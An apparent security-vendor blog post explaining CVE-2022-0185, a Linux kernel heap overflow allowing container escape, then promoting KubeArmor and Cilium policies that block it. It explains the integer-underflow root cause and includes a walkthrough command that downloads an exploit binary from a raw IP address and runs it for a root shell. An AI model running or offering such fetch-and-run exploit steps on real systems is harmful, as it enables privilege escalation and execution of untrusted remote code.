Introduction

People consider Linux the most secure operating system, as it is open-source. Even with all its might, vulnerabilities creep in the shadow, ready to strike. In this blog, we’ll be taking a look at an infamous heap overflow vulnerability discovered in 2022. The growth of the Kubernetes and containers increased exponentially than the previous year. It led to finding a new Linux Kernel Vulnerability, dubbed CVE-2022-0185, which was introduced to the build three years ago and went undetected till 2022. Credits to William Liu and Jamie Hill-Daniel for discovering the vulnerability CVE-2022-0185.

Before we get into details, let’s recall two basic security principles, the Least Privilege Model, which states “components should only have access rights to only what are strictly required to do their jobs, thereby denying any possibility of privilege escalation” and the Zero-Trust Model, following the principle “never trust, always verify”.

Who is Vulnerable to this CVE?

Consider a running cluster with a Linux kernel version between 5.1 – 5.15 and pods deployed with sys_admin capabilities. With the heap overflow attack, an attacker abuses the functionality which lies on legacy_parse_param leading to an escape from container environments and elevating privileges.

You can check your kubernetes kernel version using the following command

Kubernetes command

How does this work?

To better understand the vulnerability and how it is working, let’s go ahead and replicate it in a controlled environment.

We will create a new Kubernetes cluster with Release channel as Rapid Channel and Version as 1.22.3-gke.700, leaving the remaining as default.gcloud

container clusters create “cve-demo” –zone “us-central1-c” –cluster-version “1.22.3-gke.700”; –release-channel “rapid”

Kubernetes cluster

Now we have our cluster with Kernel version <5.16 ready. It’s time to deploy an ubuntu pod and test the exploit.

For this, we have created an ubuntu image with gcc, make, curl, wget, and lsof pre-installed into it. The image also runs as a non-root user. To ensure that the pod doesn’t go into a completed state, we added the command sleep infinity.

You can use the predefined deployment file to quickly deploy it to your environment.

Deployment file

With this, the initial setup is completed. It’s time to execute the exploit and see if we can get a root shell poped using privilege escalation.

The Exploit

To explain the exploit, let’s take a look at the root cause of this CVE, the offending function legacy_parse_param:

CVE overflow

Well, how can we create an overflow from this scenario? You can see the bound check to prevent overflows:

if (len > PAGE_SIZE –
2 – size)
return invalf(fc,
“VFS: Legacy: Cumulative options too large”;

Code block

While this bound check will suffice for most cases, if your size is 4095 bytes or greater, an integer underflow will occur as size, in this case, is an unsigned int. Hence, trigger the underflow there, and you will get infinite heap overflow.

This bug popped up since 5.1-rc1. It’s important to note that you need the CAP_SYS_ADMIN capability to trigger it, but the permission only needs to be granted in the CURRENT NAMESPACE. Most unprivileged users can unshare(CLONE_NEWNS|CLONE_NEWUSER) (the equivalent of the command unshare -Urm) to enter a namespace with the CAP_SYS_ADMIN permission and abuse the bug from there; this is what makes this such a dangerous vulnerability.

Let’s see this in action.

To replicate the issue, we will execute it into our deployed ubuntu-pod

kubectl exec -it $(kubectl get po -lapp=ubuntu-pod -o name |
cut -d / -f2) — bash

Ubuntu pod

Commands

Alright! Now we will get the exploit code and make it executable.

cd /home/demouser/
wget http://152.67.166.153/exploit
&& chmod +x exploit
./exploit

Code block 2

The exploit will run for a moment, does its magic, and present you with a root shell.

CVE workflow

As you can see, we went from demouser with id 1000 to root with id 0

Disabling the vulnerability with open-source AccuKnox products

KubeArmor is open-source software that enables you to protect yourcloud workload at run-time.

The problem that KubeArmor solves is that it can prevent cloud workloads from executing malicious activity at run-time. Malicious activity can be any activity that the workload was not designed for or is not supposed to do. Given a policy, KubeArmor can restrict the following types of behavior on your cloud workloads:

• File access – allow/deny specific paths
• Allow / deny Process execution / forking
• Allow / Deny Establish network connections
• Allow / Deny workloads to request other capabilities with the host os. Such
  capabilities can enable additional types of malicious behavior.

Cilium is an open-source project to provide eBPF-based networking, security, and observability for cloud-native environments such as Kubernetes clusters and other container orchestration platforms.

We were able to block RCE by enforcing a simple policy via KubeArmor; the policy is as follows:

Cloud workload at runtime

The Policy: In-action

You can take advantage of our open-source GitHub inventory or apply policy directly from here

kubectl apply -f
https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-cve-2022-0185-block-container-escape.yaml

Once you apply the policy and execute the exploit from the container, you’ll get an error message, and the exploit will exit.

./exploit [*] Spraying kmalloc-32 [*] Opening ext4 filesystem fsopen: Remember to unshare

Code block

Checking the policy logs on KubeArmor

To check how to do it, kindly go through our help section

Blocked Log Created by KubeArmor

KubeArmour code block

Even though writing KubeArmor and CIlium (System and Network) policies is not a big challenge, AccuKnox opensource has simplified one step further by introducing a new CLI tool for Auto Discovered Policies. The Auto-Discovery module helps users identify the flow and generate policies based on it.

Discovering policies has never been better with Auto Discovery. In two simple commands, you can set up and generate policies without trouble.

To check how to do it, kindly go through our help section.

In mere seconds after installing Auto DIscovery, it generated 10 Cilium policies and 9 KubeArmor policies.

Code block

These features by AccuKnox open-source makes sure that all the necessary policies to secure your workload are generated and ready to be used in a single click.

Accuknox’s policy templates repository

Accuknox’s policy templates is an open-source repo that contains a wide range of attack prevention techniques, including MITRE and hardening techniques for your workloads. Please visit GitHub – kubearmor/policy-templates: Community curated list of System and Network policy templates for the KubeArmor and Cilium to download and apply policy templates.

Conclusion

Even though zero-day exploits are more brutal to avoid and protect from, with AccuKnox opensource tools, you can prevent your workloads from possible threats and vulnerabilities until you can get a permanent solution from the vendor.

Using AccuKnox open-source tools, an organization can effectively protect against all sorts of accidental developer-introduced vulnerabilities and zero-day vulnerabilities even without having downtime or risky half-baked patches.

---

Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you are seeking additional guidance in planning your cloud security program.